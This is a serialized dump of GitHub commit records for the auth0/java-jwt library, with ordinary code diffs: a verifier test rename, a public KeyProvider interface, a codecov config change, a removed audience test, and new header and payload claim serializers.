+        assertThat(verifier.expectedChecks, is(notNullValue()));
+        assertThat(verifier.expectedChecks, not(hasKey("iss")));
 
         verifier = JWTVerifier.init(algorithm)
                 .withIssuer((String[]) null)
                 .build();
 
-        assertThat(verifier.expectedClaims, is(notNullValue()));
-        assertThat(verifier.expectedClaims, not(hasKey("iss")));
+        assertThat(verifier.expectedChecks, is(notNullValue()));
+        assertThat(verifier.expectedChecks, not(hasKey("iss")));
 
         verifier = JWTVerifier.init(algorithm)
                 .withIssuer()
                 .build();
 
-        assertThat(verifier.expectedClaims, is(notNullValue()));
-        assertThat(verifier.expectedClaims, not(hasKey("iss")));
+        assertThat(verifier.expectedChecks, is(notNullValue()));
+        assertThat(verifier.expectedChecks, not(hasKey("iss")));
 
         String emptyIss = "  ";
         verifier = JWTVerifier.init(algorithm)
                 .withIssuer(emptyIss)
                 .build();
 
-        assertThat(verifier.expectedClaims, is(notNullValue()));
-        assertThat(verifier.expectedClaims, hasEntry("iss", Collections.singletonList(emptyIss)));
+        assertThat(verifier.expectedChecks, is(notNullValue()));
     }
 
     @Testueu(9c7971d4eec3aff05164819cf915c889188a7841}(sha(9c7971d4eec3aff05164819cf915c889188a7841node_idEC_kwDOAQtL0doAKDljNzk3MWQ0ZWVjM2FmZjA1MTY0ODE5Y2Y5MTVjODg5MTg4YTc4NDEcommit}(author}(name	vladertelemailvladertel@gmail.comdate2023-02-06T18:41:26Zu	committer}(j2  GitHubj
2  noreply@github.comj2  2023-02-06T18:41:26Zumessage!Make KeyProvider interface publictree}(j2  (db042f5434794f293e0a7a322543c0a468fbb7d6url^https://api.github.com/repos/auth0/java-jwt/git/trees/db042f5434794f293e0a7a322543c0a468fbb7d6uj2  `https://api.github.com/repos/auth0/java-jwt/git/commits/9c7971d4eec3aff05164819cf915c889188a7841
comment_countK verification}(verifiedreasonvalid	signatureX  -----BEGIN PGP SIGNATURE-----

wsBcBAABCAAQBQJj4UnWCRBK7hj4Ov3rIwAAijgIAKa8rxS2Co6Jdw49NMw/o+aD
HtbLoEQIxpt2i9Zs/U3ShVGqmhankw4/PPNwI/oWoLt/EGkD0vprg7krD9l/MYY8
fV3DtLGrGTOAQdwC0tfYLvFeWbosepe3z8IoiKuHtlgXsLlc0/RWLYp/QLHfvP8D
/iUksisOIyGzrPYLsXxD10MlN+RBvYY3RmI/mU3lpZqO33BN9lxx/x9kAiRXtDOs
Y6zozAMTAlvtZ5LBtnv7UJEVx/SJ0kL9wC5XPX35YXwEOAyrAx8wsr8AqIsd7xZh
TzlKDMwlE9dBsl/usQaisauF8/7MVqBkqVK1oBK6AwhofIG2JbGcN74MIzvdIWM=
=AFGX
-----END PGP SIGNATURE-----
payloadtree db042f5434794f293e0a7a322543c0a468fbb7d6
parent 902431804ee68a0e4727f41397cd56608918ba37
author vladertel <vladertel@gmail.com> 1675708886 +0100
committer GitHub <noreply@github.com> 1675708886 +0100

Make KeyProvider interface publicuuj2  \https://api.github.com/repos/auth0/java-jwt/commits/9c7971d4eec3aff05164819cf915c889188a7841html_urlQhttps://github.com/auth0/java-jwt/commit/9c7971d4eec3aff05164819cf915c889188a7841comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/9c7971d4eec3aff05164819cf915c889188a7841/commentsj	2  }(login	vladertelidJzpj2  MDQ6VXNlcjE4NzA2NTU0
avatar_url4https://avatars.githubusercontent.com/u/18706554?v=4gravatar_idh3j2  &https://api.github.com/users/vladertelj)2  https://github.com/vladertel
followers_url0https://api.github.com/users/vladertel/followers
following_url=https://api.github.com/users/vladertel/following{/other_user}	gists_url6https://api.github.com/users/vladertel/gists{/gist_id}starred_url=https://api.github.com/users/vladertel/starred{/owner}{/repo}subscriptions_url4https://api.github.com/users/vladertel/subscriptionsorganizations_url+https://api.github.com/users/vladertel/orgs	repos_url,https://api.github.com/users/vladertel/repos
events_url7https://api.github.com/users/vladertel/events{/privacy}received_events_url6https://api.github.com/users/vladertel/received_eventstypeUser
site_adminuj2  }(j.2  web-flowj02  J/j2  MDQ6VXNlcjE5ODY0NDQ3j22  4https://avatars.githubusercontent.com/u/19864447?v=4j42  h3j2  %https://api.github.com/users/web-flowj)2  https://github.com/web-flowj72  /https://api.github.com/users/web-flow/followersj92  <https://api.github.com/users/web-flow/following{/other_user}j;2  5https://api.github.com/users/web-flow/gists{/gist_id}j=2  <https://api.github.com/users/web-flow/starred{/owner}{/repo}j?2  3https://api.github.com/users/web-flow/subscriptionsjA2  *https://api.github.com/users/web-flow/orgsjC2  +https://api.github.com/users/web-flow/reposjE2  6https://api.github.com/users/web-flow/events{/privacy}jG2  5https://api.github.com/users/web-flow/received_eventsjI2  UserjK2  uparents]}(j2  (902431804ee68a0e4727f41397cd56608918ba37j2  \https://api.github.com/repos/auth0/java-jwt/commits/902431804ee68a0e4727f41397cd56608918ba37j)2  Qhttps://github.com/auth0/java-jwt/commit/902431804ee68a0e4727f41397cd56608918ba37uastats}(totalK	additionsK	deletionsKufiles]}(j2  (b7458f2bdbeeeffe001b935bd90897cd8529800afilename;lib/src/main/java/com/auth0/jwt/interfaces/KeyProvider.javastatusmodifiedje2  Kjf2  KchangesKblob_urlhttps://github.com/auth0/java-jwt/blob/9c7971d4eec3aff05164819cf915c889188a7841/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FKeyProvider.javaraw_urlhttps://github.com/auth0/java-jwt/raw/9c7971d4eec3aff05164819cf915c889188a7841/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FKeyProvider.javacontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FKeyProvider.java?ref=9c7971d4eec3aff05164819cf915c889188a7841patchX  @@ -10,7 +10,7 @@
  * @param <U> the class that represents the Public Key
  * @param <R> the class that represents the Private Key
  */
-interface KeyProvider<U extends PublicKey, R extends PrivateKey> {
+public interface KeyProvider<U extends PublicKey, R extends PrivateKey> {
 
     /**
      * Getter for the Public Key instance with the given Id. Used to verify the signature on the JWT verification stage.uau(22a6b13b4f151ab3dcc16306c2a067b73bb0d2c7}(sha(22a6b13b4f151ab3dcc16306c2a067b73bb0d2c7node_idEC_kwDOAQtL0doAKDIyYTZiMTNiNGYxNTFhYjNkY2MxNjMwNmMyYTA2N2I3M2JiMGQyYzccommit}(author}(name
Poovamraj T Temailpoovamraj@gmail.comdate2022-04-11T12:40:08Zu	committer}(j2  
Poovamraj T Tj2  poovamraj@gmail.comj2  2022-04-11T12:40:08Zumessage8Remove newly added parameters and check codecov disabledtree}(jz2  (48aa10fb69597b30d3f510d33219e75daad41d29url^https://api.github.com/repos/auth0/java-jwt/git/trees/48aa10fb69597b30d3f510d33219e75daad41d29uj2  `https://api.github.com/repos/auth0/java-jwt/git/commits/22a6b13b4f151ab3dcc16306c2a067b73bb0d2c7
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuuj2  \https://api.github.com/repos/auth0/java-jwt/commits/22a6b13b4f151ab3dcc16306c2a067b73bb0d2c7html_urlQhttps://github.com/auth0/java-jwt/commit/22a6b13b4f151ab3dcc16306c2a067b73bb0d2c7comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/22a6b13b4f151ab3dcc16306c2a067b73bb0d2c7/commentsj2  }(login	poovamrajidJ j|2  MDQ6VXNlcjE1OTEwNDI1
avatar_url4https://avatars.githubusercontent.com/u/15910425?v=4gravatar_idh3j2  &https://api.github.com/users/poovamrajj2  https://github.com/poovamraj
followers_url0https://api.github.com/users/poovamraj/followers
following_url=https://api.github.com/users/poovamraj/following{/other_user}	gists_url6https://api.github.com/users/poovamraj/gists{/gist_id}starred_url=https://api.github.com/users/poovamraj/starred{/owner}{/repo}subscriptions_url4https://api.github.com/users/poovamraj/subscriptionsorganizations_url+https://api.github.com/users/poovamraj/orgs	repos_url,https://api.github.com/users/poovamraj/repos
events_url7https://api.github.com/users/poovamraj/events{/privacy}received_events_url6https://api.github.com/users/poovamraj/received_eventstypeUser
site_adminuj2  }(j2  	poovamrajj2  J j|2  MDQ6VXNlcjE1OTEwNDI1j2  4https://avatars.githubusercontent.com/u/15910425?v=4j2  h3j2  &https://api.github.com/users/poovamrajj2  https://github.com/poovamrajj2  0https://api.github.com/users/poovamraj/followersj2  =https://api.github.com/users/poovamraj/following{/other_user}j2  6https://api.github.com/users/poovamraj/gists{/gist_id}j2  =https://api.github.com/users/poovamraj/starred{/owner}{/repo}j2  4https://api.github.com/users/poovamraj/subscriptionsj2  +https://api.github.com/users/poovamraj/orgsj2  ,https://api.github.com/users/poovamraj/reposj2  7https://api.github.com/users/poovamraj/events{/privacy}j2  6https://api.github.com/users/poovamraj/received_eventsj2  Userj2  uparents]}(jz2  (b83f4423bf9db8f9a6e231ee329dca6a0dfcf0f7j2  \https://api.github.com/repos/auth0/java-jwt/commits/b83f4423bf9db8f9a6e231ee329dca6a0dfcf0f7j2  Qhttps://github.com/auth0/java-jwt/commit/b83f4423bf9db8f9a6e231ee329dca6a0dfcf0f7uastats}(totalK	additionsK	deletionsKufiles]}(jz2  (c86292ee38238770fd576cc48230bbd03ecf5e44filename.codecov.ymlstatusmodifiedj2  Kj2  KchangesKblob_url\https://github.com/auth0/java-jwt/blob/22a6b13b4f151ab3dcc16306c2a067b73bb0d2c7/.codecov.ymlraw_url[https://github.com/auth0/java-jwt/raw/22a6b13b4f151ab3dcc16306c2a067b73bb0d2c7/.codecov.ymlcontents_urlnhttps://api.github.com/repos/auth0/java-jwt/contents/.codecov.yml?ref=22a6b13b4f151ab3dcc16306c2a067b73bb0d2c7patchX  @@ -7,12 +7,9 @@ coverage:
       default:
         if_no_uploads: success
         if_ci_failed: error
-    changes: true
+    changes: false
     project:
       default:
         target: auto
         if_no_uploads: error
-comment: false
-codecov:
-  allow_coverage_offsets: True
-  allow_pseudo_compare: True
\ No newline at end of file
+comment: false
\ No newline at end of fileuau(1979b95f272cc4bffda318a7db097bbed66a5d82}(sha(1979b95f272cc4bffda318a7db097bbed66a5d82node_idEC_kwDOAQtL0doAKDE5NzliOTVmMjcyY2M0YmZmZGEzMThhN2RiMDk3YmJlZDY2YTVkODIcommit}(author}(name
Poovamraj T Temailpoovamraj@gmail.comdate2022-04-20T14:15:09Zu	committer}(j2  
Poovamraj T Tj2  poovamraj@gmail.comj2  2022-04-20T14:15:09Zumessage-Removed test for default audience claim checktree}(j2  (2de84b53d9404228c2ad017ef6bfc39dc836a741url^https://api.github.com/repos/auth0/java-jwt/git/trees/2de84b53d9404228c2ad017ef6bfc39dc836a741uj3  `https://api.github.com/repos/auth0/java-jwt/git/commits/1979b95f272cc4bffda318a7db097bbed66a5d82
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuuj3  \https://api.github.com/repos/auth0/java-jwt/commits/1979b95f272cc4bffda318a7db097bbed66a5d82html_urlQhttps://github.com/auth0/java-jwt/commit/1979b95f272cc4bffda318a7db097bbed66a5d82comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/1979b95f272cc4bffda318a7db097bbed66a5d82/commentsj2  }(login	poovamrajidJ j2  MDQ6VXNlcjE1OTEwNDI1
avatar_url4https://avatars.githubusercontent.com/u/15910425?v=4gravatar_idh3j3  &https://api.github.com/users/poovamrajj3  https://github.com/poovamraj
followers_url0https://api.github.com/users/poovamraj/followers
following_url=https://api.github.com/users/poovamraj/following{/other_user}	gists_url6https://api.github.com/users/poovamraj/gists{/gist_id}starred_url=https://api.github.com/users/poovamraj/starred{/owner}{/repo}subscriptions_url4https://api.github.com/users/poovamraj/subscriptionsorganizations_url+https://api.github.com/users/poovamraj/orgs	repos_url,https://api.github.com/users/poovamraj/repos
events_url7https://api.github.com/users/poovamraj/events{/privacy}received_events_url6https://api.github.com/users/poovamraj/received_eventstypeUser
site_adminuj2  }(j3  	poovamrajj3  J j2  MDQ6VXNlcjE1OTEwNDI1j3  4https://avatars.githubusercontent.com/u/15910425?v=4j3  h3j3  &https://api.github.com/users/poovamrajj3  https://github.com/poovamrajj!3  0https://api.github.com/users/poovamraj/followersj#3  =https://api.github.com/users/poovamraj/following{/other_user}j%3  6https://api.github.com/users/poovamraj/gists{/gist_id}j'3  =https://api.github.com/users/poovamraj/starred{/owner}{/repo}j)3  4https://api.github.com/users/poovamraj/subscriptionsj+3  +https://api.github.com/users/poovamraj/orgsj-3  ,https://api.github.com/users/poovamraj/reposj/3  7https://api.github.com/users/poovamraj/events{/privacy}j13  6https://api.github.com/users/poovamraj/received_eventsj33  Userj53  uparents]}(j2  (e6565cecb1049c43f5dee0df5a0d545cc369c74ej3  \https://api.github.com/repos/auth0/java-jwt/commits/e6565cecb1049c43f5dee0df5a0d545cc369c74ej3  Qhttps://github.com/auth0/java-jwt/commit/e6565cecb1049c43f5dee0df5a0d545cc369c74euastats}(totalK	additionsK 	deletionsKufiles]}(j2  (11acb029ef03c5524013049b19eb0214d364c2a7filename@lib/src/test/java/com/auth0/jwt/interfaces/VerificationTest.javastatusmodifiedjO3  K jP3  KchangesKblob_urlhttps://github.com/auth0/java-jwt/blob/1979b95f272cc4bffda318a7db097bbed66a5d82/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FVerificationTest.javaraw_urlhttps://github.com/auth0/java-jwt/raw/1979b95f272cc4bffda318a7db097bbed66a5d82/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FVerificationTest.javacontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FVerificationTest.java?ref=1979b95f272cc4bffda318a7db097bbed66a5d82patchXG  @@ -38,13 +38,6 @@ public void withInstantClaimShouldUseDefaultImplAndHandleNull() {
         assertThat(((VerificationImplForTest)verification).expectedClaims, hasEntry("name", null));
     }
 
-    @Test
-    public void withAnyOfAudienceDeafultImplShouldThrow() {
-        assertThrows("withAnyOfAudience", UnsupportedOperationException.class, () -> {
-            new VerificationImplForTest().withAnyOfAudience("");
-        });
-    }
-
     @Test
     public void withIssuerStringDefaultImplShouldDelegate() {
         Verification verification = new VerificationImplForTest()uau(3b51ee8a4694ffef1b1ffbd60c4cbe8eaa940108}(sha(3b51ee8a4694ffef1b1ffbd60c4cbe8eaa940108node_idEC_kwDOAQtL0doAKDNiNTFlZThhNDY5NGZmZWYxYjFmZmJkNjBjNGNiZThlYWE5NDAxMDgcommit}(author}(nameJim Andersonemailjim.anderson@auth0.comdate2022-03-16T20:01:22Zu	committer}(jl3  GitHubjn3  noreply@github.comjp3  2022-03-16T20:01:22Zumessagev[SDK-3171] Fix header claims serialization (#549)

* [SDK-3171] Fix header claims serialization

* remove debug linetree}(jd3  (71714c011244d9b30b326cd8e0c5855d8d3d61c4url^https://api.github.com/repos/auth0/java-jwt/git/trees/71714c011244d9b30b326cd8e0c5855d8d3d61c4uj|3  `https://api.github.com/repos/auth0/java-jwt/git/commits/3b51ee8a4694ffef1b1ffbd60c4cbe8eaa940108
comment_countK verification}(verifiedreasonvalid	signatureX  -----BEGIN PGP SIGNATURE-----

wsBcBAABCAAQBQJiMkISCRBK7hj4Ov3rIwAAF00IAGu9aFyTpJYLHsn84OPimNZL
JnFvtMNjGhwG1WGyG2OiuDw0qcsp3ODhN6P8zOuMKUQyJDGHCHbSOwVzmpz8Gvni
4IkYViC2xy6oJFb8Oi5Gp+WuMvn4HLgWfCoLJ5N1XdCORPiGo9HEwZMan+Wd0iBK
o5VSPz1F7e9AAvHl/jYVB8/PXcjOywLAjfCiXdTPVOen9brDOUAH4S5HI/9cslIQ
tnagcy0YERcd0n1CVggJSI9HpdwuVbjimRcejgxSHM7H9gU99yNOnEkxZUxCFM8j
9Qun5toEIy1YtrH9W2qHmlEplflE1kF03ubKLWgkg2g+/bF2qKmkAIaiIomdpT0=
=biC3
-----END PGP SIGNATURE-----
payloadXJ  tree 71714c011244d9b30b326cd8e0c5855d8d3d61c4
parent 7f45ff7f25b00f17e4dd55e584f2e1c7b8d9a432
author Jim Anderson <jim.anderson@auth0.com> 1647460882 -0500
committer GitHub <noreply@github.com> 1647460882 -0500

[SDK-3171] Fix header claims serialization (#549)

* [SDK-3171] Fix header claims serialization

* remove debug lineuuj|3  \https://api.github.com/repos/auth0/java-jwt/commits/3b51ee8a4694ffef1b1ffbd60c4cbe8eaa940108html_urlQhttps://github.com/auth0/java-jwt/commit/3b51ee8a4694ffef1b1ffbd60c4cbe8eaa940108comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/3b51ee8a4694ffef1b1ffbd60c4cbe8eaa940108/commentsjj3  }(login
jimmyjamesidJ7 jf3  MDQ6VXNlcjI3NjIyNQ==
avatar_url2https://avatars.githubusercontent.com/u/276225?v=4gravatar_idh3j|3  'https://api.github.com/users/jimmyjamesj3  https://github.com/jimmyjames
followers_url1https://api.github.com/users/jimmyjames/followers
following_url>https://api.github.com/users/jimmyjames/following{/other_user}	gists_url7https://api.github.com/users/jimmyjames/gists{/gist_id}starred_url>https://api.github.com/users/jimmyjames/starred{/owner}{/repo}subscriptions_url5https://api.github.com/users/jimmyjames/subscriptionsorganizations_url,https://api.github.com/users/jimmyjames/orgs	repos_url-https://api.github.com/users/jimmyjames/repos
events_url8https://api.github.com/users/jimmyjames/events{/privacy}received_events_url7https://api.github.com/users/jimmyjames/received_eventstypeUser
site_adminujr3  }(j3  web-flowj3  J/jf3  MDQ6VXNlcjE5ODY0NDQ3j3  4https://avatars.githubusercontent.com/u/19864447?v=4j3  h3j|3  %https://api.github.com/users/web-flowj3  https://github.com/web-flowj3  /https://api.github.com/users/web-flow/followersj3  <https://api.github.com/users/web-flow/following{/other_user}j3  5https://api.github.com/users/web-flow/gists{/gist_id}j3  <https://api.github.com/users/web-flow/starred{/owner}{/repo}j3  3https://api.github.com/users/web-flow/subscriptionsj3  *https://api.github.com/users/web-flow/orgsj3  +https://api.github.com/users/web-flow/reposj3  6https://api.github.com/users/web-flow/events{/privacy}j3  5https://api.github.com/users/web-flow/received_eventsj3  Userj3  uparents]}(jd3  (7f45ff7f25b00f17e4dd55e584f2e1c7b8d9a432j|3  \https://api.github.com/repos/auth0/java-jwt/commits/7f45ff7f25b00f17e4dd55e584f2e1c7b8d9a432j3  Qhttps://github.com/auth0/java-jwt/commit/7f45ff7f25b00f17e4dd55e584f2e1c7b8d9a432uastats}(totalMi	additionsK	deletionsKwufiles](}(jd3  (ca6e391837aa1c176729dfb192357ef87be634acfilename/lib/src/main/java/com/auth0/jwt/JWTCreator.javastatusmodifiedj3  Kj3  KchangesKblob_urlhttps://github.com/auth0/java-jwt/blob/3b51ee8a4694ffef1b1ffbd60c4cbe8eaa940108/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreator.javaraw_urlhttps://github.com/auth0/java-jwt/raw/3b51ee8a4694ffef1b1ffbd60c4cbe8eaa940108/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreator.javacontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreator.java?ref=3b51ee8a4694ffef1b1ffbd60c4cbe8eaa940108patchX  @@ -3,9 +3,7 @@
 import com.auth0.jwt.algorithms.Algorithm;
 import com.auth0.jwt.exceptions.JWTCreationException;
 import com.auth0.jwt.exceptions.SignatureGenerationException;
-import com.auth0.jwt.impl.ClaimsHolder;
-import com.auth0.jwt.impl.PayloadSerializer;
-import com.auth0.jwt.impl.PublicClaims;
+import com.auth0.jwt.impl.*;
 import com.fasterxml.jackson.core.JsonProcessingException;
 import com.fasterxml.jackson.databind.MapperFeature;
 import com.fasterxml.jackson.databind.ObjectMapper;
@@ -34,16 +32,17 @@ public final class JWTCreator {
     static {
         mapper = new ObjectMapper();
         module = new SimpleModule();
-        module.addSerializer(ClaimsHolder.class, new PayloadSerializer());
+        module.addSerializer(PayloadClaimsHolder.class, new PayloadSerializer());
+        module.addSerializer(HeaderClaimsHolder.class, new HeaderSerializer());
         mapper.registerModule(module);
         mapper.configure(MapperFeature.SORT_PROPERTIES_ALPHABETICALLY, true);
     }
 
     private JWTCreator(Algorithm algorithm, Map<String, Object> headerClaims, Map<String, Object> payloadClaims) throws JWTCreationException {
         this.algorithm = algorithm;
         try {
-            headerJson = mapper.writeValueAsString(headerClaims);
-            payloadJson = mapper.writeValueAsString(new ClaimsHolder(payloadClaims));
+            headerJson = mapper.writeValueAsString(new HeaderClaimsHolder(headerClaims));
+            payloadJson = mapper.writeValueAsString(new PayloadClaimsHolder(payloadClaims));
         } catch (JsonProcessingException e) {
             throw new JWTCreationException("Some of the Claims couldn't be converted to a valid JSON format.", e);
         }u}(jd3  (30f6ab186654d45456d1725d07bf5463902cec1dj3  6lib/src/main/java/com/auth0/jwt/impl/ClaimsHolder.javaj3  modifiedj3  Kj3  Kj3  Kj3  https://github.com/auth0/java-jwt/blob/3b51ee8a4694ffef1b1ffbd60c4cbe8eaa940108/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FClaimsHolder.javaj3  https://github.com/auth0/java-jwt/raw/3b51ee8a4694ffef1b1ffbd60c4cbe8eaa940108/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FClaimsHolder.javaj3  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FClaimsHolder.java?ref=3b51ee8a4694ffef1b1ffbd60c4cbe8eaa940108j3  X  @@ -6,11 +6,11 @@
 /**
  * The ClaimsHolder class is just a wrapper for the Map of Claims used for building a JWT.
  */
-public final class ClaimsHolder {
+public abstract class ClaimsHolder {
     private Map<String, Object> claims;
 
-    public ClaimsHolder(Map<String, Object> claims) {
-        this.claims = claims == null ? new HashMap<String, Object>() : claims;
+    protected ClaimsHolder(Map<String, Object> claims) {
+        this.claims = claims == null ? new HashMap<>() : claims;
     }
 
     Map<String, Object> getClaims() {u}(jd3  (4db20119f4a658031fb29909a9c01f8353054be1j3  :lib/src/main/java/com/auth0/jwt/impl/ClaimsSerializer.javaj3  addedj3  KVj3  K j3  KVj3  https://github.com/auth0/java-jwt/blob/3b51ee8a4694ffef1b1ffbd60c4cbe8eaa940108/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FClaimsSerializer.javaj3  https://github.com/auth0/java-jwt/raw/3b51ee8a4694ffef1b1ffbd60c4cbe8eaa940108/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FClaimsSerializer.javaj3  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FClaimsSerializer.java?ref=3b51ee8a4694ffef1b1ffbd60c4cbe8eaa940108j3  X  @@ -0,0 +1,86 @@
+package com.auth0.jwt.impl;
+
+import com.fasterxml.jackson.core.JsonGenerator;
+import com.fasterxml.jackson.databind.SerializerProvider;
+import com.fasterxml.jackson.databind.ser.std.StdSerializer;
+
+import java.io.IOException;
+import java.time.Instant;
+import java.util.Date;
+import java.util.List;
+import java.util.Map;
+
+/**
+ * Custom serializer used to write the resulting JWT.
+ *
+ * @param <T> the type this serializer operates on.
+ */
+public class ClaimsSerializer<T extends ClaimsHolder> extends StdSerializer<T> {
+
+    public ClaimsSerializer(Class<T> t) {
+        super(t);
+    }
+
+    @Override
+    public void serialize(T holder, JsonGenerator gen, SerializerProvider provider) throws IOException {
+        gen.writeStartObject();
+        for (Map.Entry<String, Object> entry : holder.getClaims().entrySet()) {
+            writeClaim(entry, gen);
+        }
+        gen.writeEndObject();
+    }
+
+    /**
+     * Writes the given entry to the JSON representation. Custom claim serialization handling can override this method
+     * to provide use-case specific serialization. Implementors who override this method must write the field name and the
+     * field value.
+     *
+     * @param entry The entry that corresponds to the JSON field to write
+     * @param gen The {@code JsonGenerator} to use
+     * @throws IOException
+     */
+    protected void writeClaim(Map.Entry<String, Object> entry, JsonGenerator gen) throws IOException {
+        gen.writeFieldName(entry.getKey());
+        handleSerialization(entry.getValue(), gen);
+    }
+
+    private static void handleSerialization(Object value, JsonGenerator gen) throws IOException {
+        if (value instanceof Date) {
+            gen.writeNumber(dateToSeconds((Date) value));
+        } else if (value instanceof Instant) { // EXPIRES_AT, ISSUED_AT, NOT_BEFORE, custom Instant claims
+            gen.writeNumber(instantToSeconds((Instant) value));
+        } else if (value instanceof Map) {
+            serializeMap((Map<?, ?>) value, gen);
+        } else if (value instanceof List) {
+            serializeList((List<?>) value, gen);
+        } else {
+            gen.writeObject(value);
+        }
+    }
+
+    private static void serializeMap(Map<?, ?> map, JsonGenerator gen) throws IOException {
+        gen.writeStartObject();
+        for (Map.Entry<?, ?> entry : map.entrySet()) {
+            gen.writeFieldName((String) entry.getKey());
+            Object value = entry.getValue();
+            handleSerialization(value, gen);
+        }
+        gen.writeEndObject();
+    }
+
+    private static void serializeList(List<?> list, JsonGenerator gen) throws IOException {
+        gen.writeStartArray();
+        for (Object entry : list) {
+            handleSerialization(entry, gen);
+        }
+        gen.writeEndArray();
+    }
+
+    private static long instantToSeconds(Instant instant) {
+        return instant.getEpochSecond();
+    }
+
+    private static long dateToSeconds(Date date) {
+        return date.getTime() / 1000;
+    }
+}u}(jd3  (9b480116d0c82784e9419fb51c8357ce62de9cbbj3  <lib/src/main/java/com/auth0/jwt/impl/HeaderClaimsHolder.javaj3  addedj3  Kj3  K j3  Kj3  https://github.com/auth0/java-jwt/blob/3b51ee8a4694ffef1b1ffbd60c4cbe8eaa940108/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FHeaderClaimsHolder.javaj3  https://github.com/auth0/java-jwt/raw/3b51ee8a4694ffef1b1ffbd60c4cbe8eaa940108/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FHeaderClaimsHolder.javaj3  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FHeaderClaimsHolder.java?ref=3b51ee8a4694ffef1b1ffbd60c4cbe8eaa940108j3  X#  @@ -0,0 +1,12 @@
+package com.auth0.jwt.impl;
+
+import java.util.Map;
+
+/**
+ * Holds the header claims when serializing a JWT.
+ */
+public final class HeaderClaimsHolder extends ClaimsHolder {
+    public HeaderClaimsHolder(Map<String, Object> claims) {
+        super(claims);
+    }
+}u}(jd3  (5c7cf0fc977f9c153c06c3b01cd3f5fa92aca37ej3  :lib/src/main/java/com/auth0/jwt/impl/HeaderSerializer.javaj3  addedj3  K
j3  K j3  K
j3  https://github.com/auth0/java-jwt/blob/3b51ee8a4694ffef1b1ffbd60c4cbe8eaa940108/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FHeaderSerializer.javaj3  https://github.com/auth0/java-jwt/raw/3b51ee8a4694ffef1b1ffbd60c4cbe8eaa940108/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FHeaderSerializer.javaj3  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FHeaderSerializer.java?ref=3b51ee8a4694ffef1b1ffbd60c4cbe8eaa940108j3  X#  @@ -0,0 +1,10 @@
+package com.auth0.jwt.impl;
+
+/**
+ * Responsible for serializing a JWT's header representation to JSON.
+ */
+public class HeaderSerializer extends ClaimsSerializer<HeaderClaimsHolder> {
+    public HeaderSerializer() {
+        super(HeaderClaimsHolder.class);
+    }
+}u}(jd3  (7055a2ce73eb4839bd82a168869937f033daa92ej3  =lib/src/main/java/com/auth0/jwt/impl/PayloadClaimsHolder.javaj3  addedj3  Kj3  K j3  Kj3  https://github.com/auth0/java-jwt/blob/3b51ee8a4694ffef1b1ffbd60c4cbe8eaa940108/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadClaimsHolder.javaj3  https://github.com/auth0/java-jwt/raw/3b51ee8a4694ffef1b1ffbd60c4cbe8eaa940108/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadClaimsHolder.javaj3  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadClaimsHolder.java?ref=3b51ee8a4694ffef1b1ffbd60c4cbe8eaa940108j3  X&  @@ -0,0 +1,12 @@
+package com.auth0.jwt.impl;
+
+import java.util.Map;
+
+/**
+ * Holds the payload claims when serializing a JWT.
+ */
+public final class PayloadClaimsHolder extends ClaimsHolder {
+    public PayloadClaimsHolder(Map<String, Object> claims) {
+        super(claims);
+    }
